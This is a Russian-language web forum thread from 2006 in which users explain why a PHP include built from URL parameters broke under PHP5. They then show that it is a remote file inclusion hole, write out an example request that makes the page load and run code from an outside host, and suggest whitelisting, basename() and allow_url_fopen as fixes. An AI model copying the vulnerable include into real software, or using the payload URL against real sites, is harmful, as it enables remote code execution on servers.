Реклама на сайте Advertise with us

Include в php5

Расширенный поиск по форуму
 
Новая тема Новая тема   
Автор
Поиск в теме:



С нами с 06.03.05
Сообщения: 6216
Рейтинг: 7375


Передовик Master-X (01.02.2007) Передовик Master-X (16.02.2007) Передовик Master-X (01.04.2007) Передовик Master-X (01.05.2007) Передовик Master-X (01.10.2007) Ветеран трепа Master-X ()
Ссылка на сообщениеДобавлено: 02/10/06 в 23:55       Ответить с цитатойцитата 

Блин сча зашел на один сайт перестала работать конструкция

include"$cat/$page"; , т.е. при загрузке урла mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm

или в php5 другой синтаксис?

нид хелп, с меня рейтинг

0
 



С нами с 07.06.00
Сообщения: 3516
Рейтинг: 1802

Ссылка на сообщениеДобавлено: 03/10/06 в 00:22       Ответить с цитатойцитата 

http://www.php.net/manual/ru/function.include.php

может дело не в инклуде? Обрати внимание как ты вычитываешь параметры:
?cat=folder&page=test.htm
Может у тебя раньше был включен РегистрГлобалс, а сейчас он выключен?

Elitist Club и Adult Yellow Pages

5
 



С нами с 06.03.05
Сообщения: 6216
Рейтинг: 7375


Передовик Master-X (01.02.2007) Передовик Master-X (16.02.2007) Передовик Master-X (01.04.2007) Передовик Master-X (01.05.2007) Передовик Master-X (01.10.2007) Ветеран трепа Master-X ()
Ссылка на сообщениеДобавлено: 03/10/06 в 00:36       Ответить с цитатойцитата 

сенкс sAx icon_smile.gif, ты прав был, оценил по максимуму

0
 



С нами с 07.06.00
Сообщения: 3516
Рейтинг: 1802

Ссылка на сообщениеДобавлено: 03/10/06 в 00:54       Ответить с цитатойцитата 

ну вот и решилось icon_smile.gif

только не надо включать РегистрГлобалс -- это потенциальная уязвимость. Лучше поставить перед твоим инклудом:

Код:
$cat = $_GET['cat'];
$page = $_GET['page'];

или

$cat = $_REQUEST['cat'];
$page = $_REQUEST['page'];

Elitist Club и Adult Yellow Pages

5
 

www.phpdevs.com

С нами с 24.10.02
Сообщения: 16633
Рейтинг: 16105


Передовик Master-X (01.09.2005) Передовик Master-X (16.09.2005) Передовик Master-X (01.10.2005) Передовик Master-X (16.08.2006) Передовик Master-X (16.10.2006) Ветеран трепа Master-X ()
Ссылка на сообщениеДобавлено: 03/10/06 в 01:04       Ответить с цитатойцитата 

Skat писал:
Блин сча зашел на один сайт перестала работать конструкция
include"$cat/$page"; , т.е. при загрузке урла mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm
или в php5 другой синтаксис?
нид хелп, с меня рейтинг


mod.php?cat=http://www.my-site.com&page=my-code.txt

заставит выполнить твою страницу любой код

Пишу на php/mysql/django за вменяемые деньги.
Обращаться в личку.

5
 



С нами с 01.03.06
Сообщения: 629
Рейтинг: 620

Ссылка на сообщениеДобавлено: 03/10/06 в 01:08       Ответить с цитатойцитата 

Skat писал:
конструкция include"$cat/$page";
урл mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm


на самом деле - приведенный вами код еще большая уязвимость системы чем RegisterGlobals... если трудно догадаться почему - давай урл домена а здешние умельцы влет покажут icon_smile.gif) да так что домен свой потом не узнаешь icon_smile.gif))

Оффтопик: ну вот опять не успел, пока покурил - так уже все карты и открыли icon_smile.gif)

3
 



С нами с 07.06.00
Сообщения: 3516
Рейтинг: 1802

Ссылка на сообщениеДобавлено: 03/10/06 в 01:14       Ответить с цитатойцитата 

Stek писал:
mod.php?cat=http://www.my-site.com&page=my-code.txt
заставит выполнить твою страницу любой код

Блин... а слона-то я и не подметил icon_sad.gif
Вот что значит голова занята другими вопросами...

Elitist Club и Adult Yellow Pages

3
 



С нами с 06.03.05
Сообщения: 6216
Рейтинг: 7375


Передовик Master-X (01.02.2007) Передовик Master-X (16.02.2007) Передовик Master-X (01.04.2007) Передовик Master-X (01.05.2007) Передовик Master-X (01.10.2007) Ветеран трепа Master-X ()
Ссылка на сообщениеДобавлено: 03/10/06 в 01:34       Ответить с цитатойцитата 

так какой тогда лучше вариант оставить, что предложмл sAx или что раньше был?

0
 



С нами с 01.03.06
Сообщения: 629
Рейтинг: 620

Ссылка на сообщениеДобавлено: 03/10/06 в 01:39       Ответить с цитатойцитата 

sAx писал:
Блин... а слона-то я и не подметил icon_sad.gif
Вот что значит голова занята другими вопросами...


иногда полезнее заниматься другими вопросами ;)

Skat писал:

так какой тогда лучше вариант оставить, что предложмл sAx или что раньше был?


то что предложил sAx + обработка входных параметров на правильность (хотябы просто натрави по регулярному выражению на каждый из параметров). а вообще поменять механизму сего опасного инклюда...

0
 



С нами с 06.03.03
Сообщения: 1650
Рейтинг: 1096

Ссылка на сообщениеДобавлено: 03/10/06 в 12:07       Ответить с цитатойцитата 

кстати вообще не рекомедуется передавать всякие имена файлов и каталогов через входящие параметры. если набор файлов ограничен, то лучше каждому присвоить номер, и делать
switch($file)
{
case 1: $file = 'file.php'; break;
...
}

либо создать массив всех возможных имен файлов:
$files = array('file.php','file2.php');
if(!in_array($file,$files)) exit('Hacker!');

ну а если уж по ситуации нельзя ни то ни другое - то обязательно надо регулярками. хотя я и сам проверяю такие вещи регулярками, но в офф мане php рекомендуется такие вещи прогонять через basename(). т.е. $file = basename(@$_REQUEST['file']); Это не позволить в имени файла передать какой либо путь, будь то урл, любое количество ../, а также абсолютные пути.

5
 



С нами с 19.09.03
Сообщения: 1988
Рейтинг: 1247


Передовик Master-X (01.02.2004) Передовик Master-X (16.03.2004)
Ссылка на сообщениеДобавлено: 03/10/06 в 14:33       Ответить с цитатойцитата 

Есть такие настройки у пхп, как запрещение удаленных инклюдов, так что как вариант отключить их (что большинство хостеров делают, особенно на вируалах).

3
 



С нами с 01.03.06
Сообщения: 629
Рейтинг: 620

Ссылка на сообщениеДобавлено: 03/10/06 в 15:21       Ответить с цитатойцитата 

Wahoven писал:

Есть такие настройки у пхп, как запрещение удаленных инклюдов, так что как вариант отключить их (что большинство хостеров делают, особенно на вируалах).

но даже в этом случае ничто не мешает при наличии upload-а запустить свой скрипт с тогоже хоста icon_smile.gif

2
 



С нами с 19.09.03
Сообщения: 1988
Рейтинг: 1247


Передовик Master-X (01.02.2004) Передовик Master-X (16.03.2004)
Ссылка на сообщениеДобавлено: 03/10/06 в 15:31       Ответить с цитатойцитата 

Да, нужно учитывать все ньюансы, но ведь инфа лишней не бывает.

1
 



С нами с 06.03.05
Сообщения: 6216
Рейтинг: 7375


Передовик Master-X (01.02.2007) Передовик Master-X (16.02.2007) Передовик Master-X (01.04.2007) Передовик Master-X (01.05.2007) Передовик Master-X (01.10.2007) Ветеран трепа Master-X ()
Ссылка на сообщениеДобавлено: 05/10/06 в 01:37       Ответить с цитатойцитата 

Wahoven писал:
Есть такие настройки у пхп, как запрещение удаленных инклюдов


а точное название опции не знаешь?

0
 



С нами с 19.09.03
Сообщения: 1988
Рейтинг: 1247


Передовик Master-X (01.02.2004) Передовик Master-X (16.03.2004)
Ссылка на сообщениеДобавлено: 05/10/06 в 01:47       Ответить с цитатойцитата 

Нет, около полугода назад столкнулся с такими ошибками при инклюде external файлов, как-то решал не трогая конфиги.

0
 



С нами с 19.11.03
Сообщения: 3973
Рейтинг: 2362

Ссылка на сообщениеДобавлено: 05/10/06 в 09:34       Ответить с цитатойцитата 

Skat писал:
а точное название опции не знаешь?


allow_url_fopen

2
 



С нами с 01.03.06
Сообщения: 629
Рейтинг: 620

Ссылка на сообщениеДобавлено: 05/10/06 в 12:57       Ответить с цитатойцитата 

xreload писал:

allow_url_fopen

угу и товарища могут перестать работать своиже скрипты icon_smile.gif))

могу и ошибаться, но скорее нужно смотреть группу параметров
safe_mode_*

3
 

c++,php кодинг

С нами с 22.10.05
Сообщения: 1098
Рейтинг: 558

Ссылка на сообщениеДобавлено: 05/10/06 в 13:31       Ответить с цитатойцитата 

можно еще извратиться и делать проверку через хеш.

т.е. ссылки будут вида cat=..&file=..&hash=..

проверять таким образом
if($hash!=md5($cat.$file.$secret_word))
exit;
else include..

соответственно при выводе ссылок требуется считать их хеш.

5
 
Новая тема Новая тема   

Текстовая реклама в форме ответа
Заголовок и до четырех строчек текста
Длина текста до 350 символов
Купить рекламу в этом месте!


Перейти:  



Спонсор раздела Стань спонсором этого раздела!

Реклама на сайте Advertise with us

Опросы

Рецепт новогоднего блюда 2022



Обсудите на форуме обсудить (11)
все опросы »